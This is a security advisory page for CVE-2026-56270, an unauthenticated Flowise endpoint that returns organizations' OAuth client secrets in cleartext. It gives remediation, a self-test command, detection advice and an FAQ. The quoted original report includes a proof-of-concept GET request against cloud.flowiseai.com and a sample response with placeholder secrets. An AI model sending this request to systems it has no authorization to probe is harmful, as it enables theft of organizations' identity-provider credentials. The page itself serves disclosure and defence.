CVE-2026-56270: Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request
Flowise up to 3.0.13 exposes GET /api/v1/loginmethod without authentication. Anyone who supplies an organizationId gets that organization's SSO configuration, including Google, Microsoft, GitHub and Auth0 client secrets in cleartext. The report covers Flowise Cloud and self-hosted instances. Fixed in flowise 3.1.0.
Published Apr 16, 2026 · Updated Jun 24, 2026 · Analysis Nov 13, 2026
What an attacker can do
The /api/v1/loginmethod endpoint takes an organizationId query parameter and returns the organization's login providers with their stored config. The reporter's request had no cookies and no authorization header, and the server answered 200 OK. The response lists providers such as azure, google, auth0 and github, each with config values including clientID, clientSecret, tenantID or domain, plus their status and callback URLs (CWE-306, CWE-312).
The attacker needs network access to the endpoint and a valid organizationId. The advisory does not say how an attacker would learn an organization ID. The CVSS vector in this entry rates only low confidentiality impact (5.3), while the reporter calls it critical for cloud.flowiseai.com, since secrets for any organization could be harvested.
With an OAuth client secret, an attacker can impersonate the organization's application to the identity provider. That can open the way to the organization's third-party integrations and to phishing under the real app name. The example response in the report shows empty or placeholder values for some providers, so the real damage depends on which providers an organization has configured.
The advisory names two affected deployments: FlowiseAI Cloud and self-hosted instances that expose the endpoint.
Who is affected
The npm package flowise, 3.0.13 and earlier. The advisory names FlowiseAI Cloud and self-hosted instances where /api/v1/loginmethod is exposed. Instances that use organizations and SSO providers are the ones holding secrets to leak.
npm ls flowiseTo test your own instance from outside, request the endpoint without credentials:
curl -s "https://<your-host>/api/v1/loginmethod?organizationId=<id>"If it returns provider config, you are exposed.
flowise
- Ecosystem
- npm
- Affected
- <= 3.0.13
- Fixed in
- 3.1.0
- Check
npm ls flowise
How to fix it
Upgrade flowise to 3.1.0:
npm install -g [email protected]The advisory does not describe the code change and lists no workaround. If an instance ran a vulnerable version with SSO configured, rotate the client secrets for Google, Microsoft, GitHub and Auth0 at each provider, since they may have been read. That step is my suggestion, based on the leak of cleartext secrets.
How to tell if you were hit
Search web server or proxy logs for unauthenticated GET /api/v1/loginmethod requests that carry an organizationId, especially many requests with different IDs or from addresses that never log in. Then check each identity provider's console for sign-ins or token requests from your SSO app that you do not recognise. Flowise's own logs do not mark these calls as abnormal, because the endpoint accepted them as normal.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.
PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.
Request
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/jsonResponse: The server returns 200 OK with sensitive credentials:
{
"providers": [
{
"id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "azure",
"config": {
"tenantID": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "google",
"config": {
"clientID": "123455",
"clientSecret": "123455"
},
"status": "enable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "auth0",
"config": {
"domain": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "github",
"config": {
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
}
],
"callbacks": [
{
"providerName": "azure",
"callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
},
{
"providerName": "google",
"callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
},
{
"providerName": "auth0",
"callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
},
{
"providerName": "github",
"callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
}
]
}Affected Deployments
- FlowiseAI Cloud (cloud.flowiseai.com)
- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed
Impact
An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.
Credited to berkdedekarginoglu.
Questions
- Does CVE-2026-56270 need authentication?
No. The reporter sent GET /api/v1/loginmethod with no cookies or authorization header and got the SSO configuration back.
- What secrets leak?
OAuth clientID and clientSecret values for providers such as Google, GitHub, Azure (with tenantID) and Auth0 (with domain), returned in cleartext in the config field.
- Does it affect self-hosted Flowise?
Yes, per the advisory, where the /api/v1/loginmethod endpoint is exposed. It also names FlowiseAI Cloud. The package fix is flowise 3.1.0.
- Is it exploited in the wild?
No source says so. The EPSS score is 0.0205 and the entry has no CISA KEV data.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
